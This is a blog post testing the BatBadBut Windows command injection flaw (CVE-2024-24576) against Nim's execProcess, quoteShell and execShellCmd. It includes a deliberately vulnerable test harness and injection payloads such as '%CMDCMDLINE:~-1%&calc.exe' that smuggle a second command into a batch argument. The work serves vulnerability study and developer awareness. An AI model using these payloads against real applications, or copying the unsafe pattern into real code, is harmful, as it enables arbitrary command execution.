Exploring Command Injection Vulnerabilities in Windows with Nim
The recent discovery reported by Flatt Security Research highlights the BatBadBut vulnerability (CVE-2024-24576) as a significant threat to the security of command execution in Windows. The issue arises because cmd
, the command-line interpreter for Windows, utilizes its own unique method for escaping arguments, which may differ from what developers and applications expect.
Nim is not exempt from the complexities of command execution on Windows. Through experimentation with a basic Nim script that executes a test.bat file with different inputs, the subtle aspects of the command injection vulnerability are revealed.
Your system could be vulnerable if it matches these conditions:
Operating on Windows
Executes commands within the application
Accepts user input
Executes batch files based on user input
The Experiment
[*] foxoman/CVE-2024-24576-PoC---Nim: CVE-2024-24576 PoC for Nim Lang (github.com)
The Nim script executes the batch file in three distinct manners:
Without quoting the shell input using
execProcess
With quoting
execProcess
, usingquoteShell
Direct shell command execution using
execShellCmd
import osproc, os
block execProcess_NoQuoteShell:
echo "[*] execProcess NoQuoteShell"
echo "enter payload here"
let input = readLine(stdin)
let output =
execProcess("test.bat", args = @[input], options = {poUsePath,
poStdErrToStdOut})
echo "Output:\n", output
block execProcess_QuoteShell:
echo "[*] execProcess QuoteShell"
echo "enter payload here"
let input = readLine(stdin).quoteShell()
let output =
execProcess("test.bat", args = @[input], options = {poUsePath,
poStdErrToStdOut})
echo "Output:\n", output
block execShellCmd:
echo "[*] execShellCmd"
echo "enter payload here"
let input = readLine(stdin)
echo "Output:"
discard execShellCmd("test.bat " & input)
Test 1: Simple Payload
A benign command, nim &calc
, reveals differing behaviors:
The unquoted execution passes the payload intact, echoing back without unintended consequences.
Quoting via
quoteShell
results in misinterpretation, breaking the command.Direct execution surprisingly splits the input, inadvertently running
calc
.
[*] execProcess NoQuoteShell
enter payload here
nim &calc
Output:
Argument received: "nim &calc"
[*] execProcess QuoteShell
enter payload here
nim &calc
Output:
Argument received: "\"nim
'calc\""' is not recognized as an internal or external command,
operable program or batch file.
[*] execShellCmd
enter payload here
nim &calc
Output:
Argument received: nim # it run calc
Test 2: Sophisticated Payload
Using a more complex payload, nim" &calc
, illustrate further discrepancies:
Unquoted execution interprets the command in a risky manner, running
calc
.Quoted execution, this time, correctly escapes, showcasing the intended safety mechanism.
Direct execution correctly handles the input but underscores potential risk areas.
[*] execProcess NoQuoteShell
enter payload here
nim" &calc
Output:
Argument received: "nim\" #it run calc
[*] execProcess QuoteShell
enter payload here
nim" &calc
Output:
Argument received: "\"nim\\\" &calc\"" #ecaped correctly
[*] execShellCmd
enter payload here
nim" &calc
Output:
Argument received: nim" &calc # escaped correctly
Test 3: Exploitative Payload
An exploitative payload %CMDCMDLINE:~-1%&calc.exe
, designed to directly invoke calc.exe
, unearths a consistent threat across all execution methods, demonstrating the ease of initiating unintended commands.
[*] execProcess NoQuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e
[*] execProcess QuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e
[*] execShellCmd
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e
Conclusion
Here's a summarized table based on the testing results from the Nim code experiments with different payloads:
Payload | execProcess_NoQuoteShell | execProcess_QuoteShell | execShellCmd |
nim &calc | Not Passed | Not Passed | Passed |
nim" &calc | Passed | Not Passed | Not Passed |
%CMDCMDLINE:~-1%&calc | Passed | Passed | Passed |
"Passed" indicates the payload executed in a way that could potentially exploit the BatBadBut vulnerability, demonstrating the nuanced behavior of command execution methods in Nim in response to different types of inputs.
CVE-2024-24576 Rust PoC on GitHub: https://github.com/frostb1ten/CVE-2024-24576-PoC where I got the test.bat
Flatt Security Research article: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/
Subscribe to my newsletter
Read articles from Sultan Alisaiee directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Sultan Alisaiee
Sultan Alisaiee
Tech Addict, Ubuntu Gnu/Linux Fan, Nim/Qt/C++ Developer